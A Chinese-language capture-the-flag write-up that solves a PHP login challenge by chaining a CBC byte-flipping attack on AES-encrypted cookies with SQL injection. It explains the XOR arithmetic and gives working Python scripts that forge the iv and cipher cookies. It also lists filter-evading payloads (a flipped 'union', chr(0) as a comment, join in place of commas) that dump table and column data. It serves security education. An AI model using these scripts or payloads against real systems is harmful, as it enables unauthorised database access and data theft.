字节翻转攻击与sql注入拿flag

题目来源

题目链接

该题目的出发点是通过注入拿到flag,sql注入结果的回显是在show_homepage函数里,上溯使该回显生效需要满足以下几个条件:

  1. 首先存在cipher和iv两个cookie值
  2. 变量$plain可以通过openssl解密
  3. 解密后的结果能够组成恶意SQL查询语句(如把 ++$info[‘id’]++ 后面的 ++”,0”;++ 注释掉
  4. 剩下就是构造sql查询的问题了 主要问题就在2、3上面。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    <?php
    define("SECRET_KEY", '***********');
    define("METHOD", "aes-128-cbc");
    error_reporting(0);
    include('conn.php');
    function sqliCheck($str){
    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
    return 1;
    }
    return 0;
    }
    function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
    $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
    }
    function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
    }
    function show_homepage(){
    global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
    $cipher = base64_decode($_COOKIE['cipher']);
    $iv = base64_decode($_COOKIE["iv"]);
    if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
    $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>"); //info[id]为plain反序列化结果,plain可以正确解密
    $sql="select * from users limit ".$info['id'].",0"; //info['id']处可以注入,往上寻找来源
    $result=mysqli_query($link,$sql);
    if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
    $rows=mysqli_fetch_array($result);
    echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
    }
    else{
    echo '<h1><center>Hello!</center></h1>';
    }
    }else{
    die("ERROR!");
    }
    }
    }
    if(isset($_POST['id'])){
    $id = (string)$_POST['id']; //将输入转为字符串格式
    if(sqliCheck($id)) //检查关键字防止sql注入
    die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);
    login($info); //进入登陆界面并显示数据库查询信息
    echo '<h1><center>Hello!</center></h1>';
    }else{
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
    show_homepage();
    }else{
    echo '<body class="login-body" style="margin:0 auto">
    <div id="wrapper" style="margin:0 auto;width:800px;">
    <form name="login-form" class="login-form" action="" method="post">
    <div class="header">
    <h1>Login Form</h1>
    <span>input id to login</span>
    </div>
    <div class="content">
    <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
    </div>
    <div class="footer">
    <p><input type="submit" name="submit" value="Login" class="button" /></p>
    </div>
    </form>
    </div>
    </body>';
    }
    }
    ?>

首先了解几个概念

1. CBC

全名密码分组链接,在CBC模式中,每个明文块先与前一个密文块进行异或后,再进行加密。在这种方法中,每个密文块都依赖于它前面的所有明文块。同时,为了保证每条消息的唯一性,在第一个块中需要使用初始化向量。

下图是CBC加解密的图解:
image

2. aes-128-cbc加解密

题目中给的是aes-128-cbc,对应上面cbc的概念不难理解,这里的AES-128就是将Ciphertext以128bits为一组(8位=1字节),128bit==16Byte,意思就是明文的16字节为一组对应加密后的16字节的密文。AES的cbc模式就是用++初始向量和密钥++加密第一组数据,然后把第一组数据加密后的密文重新赋值给IV,然后进行第二组加密,循环进行直到结束(结合图片理解),最后将IV和加密后的密文拼接在一起,得到最终的密文。

  • 若最后剩余的明文不够16字节,需要进行填充,通常采用PKCS7进行填充。比如最后缺3个字节,则填充3个字节的0x03;若最后缺10个字节,则填充10个字节的0x0a;
  • 若明文正好是16个字节的整数倍,最后要再加入一个16字节0x10的组再进行加密

cbc解密的话先从密文中提取出IV,然后将密文分组,然后使用密钥对第一组的密文解密,然后和IV进行xor得到明文。使用密钥对第二组密文解密,然后和2中的密文xor得到明文。
重复前两个步骤,直到最后一组密文。

  • 要强调的是:分块解密时,每块产生的plaintext(明文)只与前一块的ciphertext和key有关

3. 字节翻转攻击

字节反转攻击的目的在于控制解密产生的明文,方法就是改变前一块Ciphertext中的一个字节,然后和下一块解密后的密文xor,就可以得到一个不同的明文,而这个明文是我们可以控制的。

A=ciphertext(N-1),B=plaintext(N),C为第N块待异或且经过解密的字符,C’为我们经过翻转要得到的明文。A’为修改后的密文。

简单计算,我们可以得到以下关系:

A = B ^ C

C = A ^ B

A ^ B ^ C = 0

A ^ B ^ C ^ C’ = C’

目的是得到C’,根据关系式可以得到 A’ = A ^ C ^ C’,让A’和B去异或得到C’

测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
define('MY_AES_KEY', "abcdef0123456789");
function aes($data, $encrypt, $iv) {
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
mcrypt_generic_init($aes, MY_AES_KEY, $iv);
return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}
define('MY_MAC_LEN', 40);
function encrypt($data, $iv) {
return aes($data, true, $iv);
}
function decrypt($data, $iv) {
$data = rtrim(aes($data, false, $iv) , "\0");
return $data;
}
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
echo "Plaintext before attack: $v\n";
$b = array();
$enc = array();
$enc = @encrypt($v, "1234567891234567");
echo ord($enc[15]) . PHP_EOL;
$enc[15] = chr(ord($enc[15]) ^ ord("8") ^ ord("7")); //$enc[15]是指将第二个加密快第16个字节(一个字符为一个字节)也就是s的8变为7
$b = @decrypt($enc, "1234567891234567");
//$b为第一次解密结果,有乱码,原因是被修改的加密块无法正确恢复
$iv="1234567891234567";
for ($i=0;$i<16;$i++)
{
$iv[$i] = chr(ord($b[$i]) ^ ord($iv[$i]) ^ ord($v[$i]));
}
$c = array();
$c = @decrypt($enc,$iv);
echo "Plaintext Third attack : $c\n";
?>

回到题目

题目中要想注入成功,必须字符末尾有#号将后面内容注释,因此要通过字节翻转攻击修改密文来达到解密后的明文最后一个字节为#

经过分析源代码,我们知道密文为cookie里的cipher,原始向量为iv,经过URL编码和base64编码。

构造如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# coding: utf-8

import requests
import base64
from urllib import unquote,quote
from Crypto.Cipher import AES
import re

url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'

data = {}

id = '12' #输入的值

submit = 'Login'

data['id']=id
data['submit']=submit

r = requests.post(url,data)

iv=base64.b64decode(unquote(r.cookies['iv']))
cipher=list(base64.b64decode(unquote(r.cookies['cipher'])))
plain_1 = "a:1:{s:2:\"id\";s:"
plain_2 = "2:\"12\";}"
cipher[4]=chr(ord(cipher[4]) ^ ord("2") ^ ord("#"))#套用公式,把字符转为ASCII码才能进行异或。4的意思是把第二块第5个字节即2变为#

cipher_new = "".join(cipher)
cipher_new = quote(base64.b64encode(cipher_new))

cookies =dict(iv=r.cookies['iv'],cipher=cipher_new)
rr = requests.get(url,cookies=cookies)

#修复第一块乱码问题
plain_base64=re.findall("base64_decode\(\'(.*?)\'\)",rr.content)[0] #查找结果后返回的解密值
plain_base64=base64.b64decode(plain_base64)
iv = list(iv)
for i in range(16):
iv[i] = chr(ord(plain_base64[i]) ^ ord(iv[i]) ^ ord(plain_1[i]));
iv_new = "".join(iv)
iv_new = quote(base64.b64encode(iv_new))

cookies_2 =dict(iv=iv_new,cipher=cipher_new)
rrr = requests.get(url,cookies=cookies_2)

print rrr.content

得到的结果:

1
<h1><center>Hello!rootzz</center></h1>

说明有效,下一步构造注入的payload。回到题目泄露的源代码,涉及到数据库查询的一行是这个:

1
$sql="select * from users limit ".$info['id'].",0";

要想构造成功,首先了解一下limit的用法:


limit

LIMIT是MySQL内置函数,其作用是用于限制查询结果的条数。

其语法格式如下:

  • LIMIT [位置偏移量,] 行数

位置偏移量是指MySQL查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依此类推…,第二个参数为“行数”即指示返回的记录条数。位置偏移量可以理解为跳过前xx条记录(元组).

  • 示例1:

    1
    SELECT * FROM YourTableName LIMIT 4; #返回查询结果的前四条
  • 示例2:

    1
    SELECT * FROM YourTableName LIMIT 2,4; #从第三条起向后查询四条

回到题目中,id变量后面跟了一个”,0”,这个查询语句正常输入无论如何也不会输出东西,因为查询数量是0。


回到题目,代码过滤了#、union,对于#,还有一种办法可以达到,即用chr(0)替代。详见链接

union可以通过字节反转攻击的方式绕过,所以形成类似以下的payload:

1
select * from users limit 0 2nion select * from((select 1)a join (select 2)b);'+chr(0)

解释一下,limit 后面是构造的命令。

  • limit后面跟0是为了前面的查询结果不输出,而直接将后面联合查询的结果输出(因为输出只有一行,如果变为1,会输出rootzz,即users表的第一行数据,不是我们想要的)
  • 2nion 是为了绕过对union的过滤,结合上面的代码将payload序列化,再对相应字符进行字节翻转攻击
  • (select 1)a 和 (select 2)b 等是为了凑字段,通过不断叠加,根据报错信息判断users表的字段数,因为应用的是联合查询,前后查询的字段数必须一致,否则会爆 [Err] 1222 - The used SELECT statements have a different number of columns 错误。
  • join相当于逗号,逗号被过滤了

经过判断,有三个字段,因此有以下payload

1
2
3
('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
("0 2nion select * from((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0),6,'2','u')

完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# coding: utf-8

import requests
import base64
from urllib import unquote,quote
from Crypto.Cipher import AES
import re

url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'

def find_flag(payload,index,string1,string2):
data = {}

id = payload

submit = 'Login'

data['id']=id
data['submit']=submit

r = requests.post(url,data)

iv=base64.b64decode(unquote(r.cookies['iv']))
cipher=list(base64.b64decode(unquote(r.cookies['cipher'])))
plain_1 = "a:1:{s:2:\"id\";s:"
cipher[index]=chr(ord(cipher[index]) ^ ord(string1) ^ ord(string2))#套用公式,把字符转为ASCII码才能进行异或

cipher_new = "".join(cipher)
cipher_new = quote(base64.b64encode(cipher_new))

cookies =dict(iv=r.cookies['iv'],cipher=cipher_new)
rr = requests.get(url,cookies=cookies)

#修复第一块乱码问题
plain_base64=re.findall("base64_decode\(\'(.*?)\'\)",rr.content)[0] #查找结果后返回的解密值
plain_base64=base64.b64decode(plain_base64)
iv = list(iv)
for i in range(16):
iv[i] = chr(ord(plain_base64[i]) ^ ord(iv[i]) ^ ord(plain_1[i]));
iv_new = "".join(iv)
iv_new = quote(base64.b64encode(iv_new))

cookies_2 =dict(iv=iv_new,cipher=cipher_new)
rrr = requests.get(url,cookies=cookies_2)

print rrr.content


find_flag("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')

PS:这道题服务器貌似出了点问题,一直报错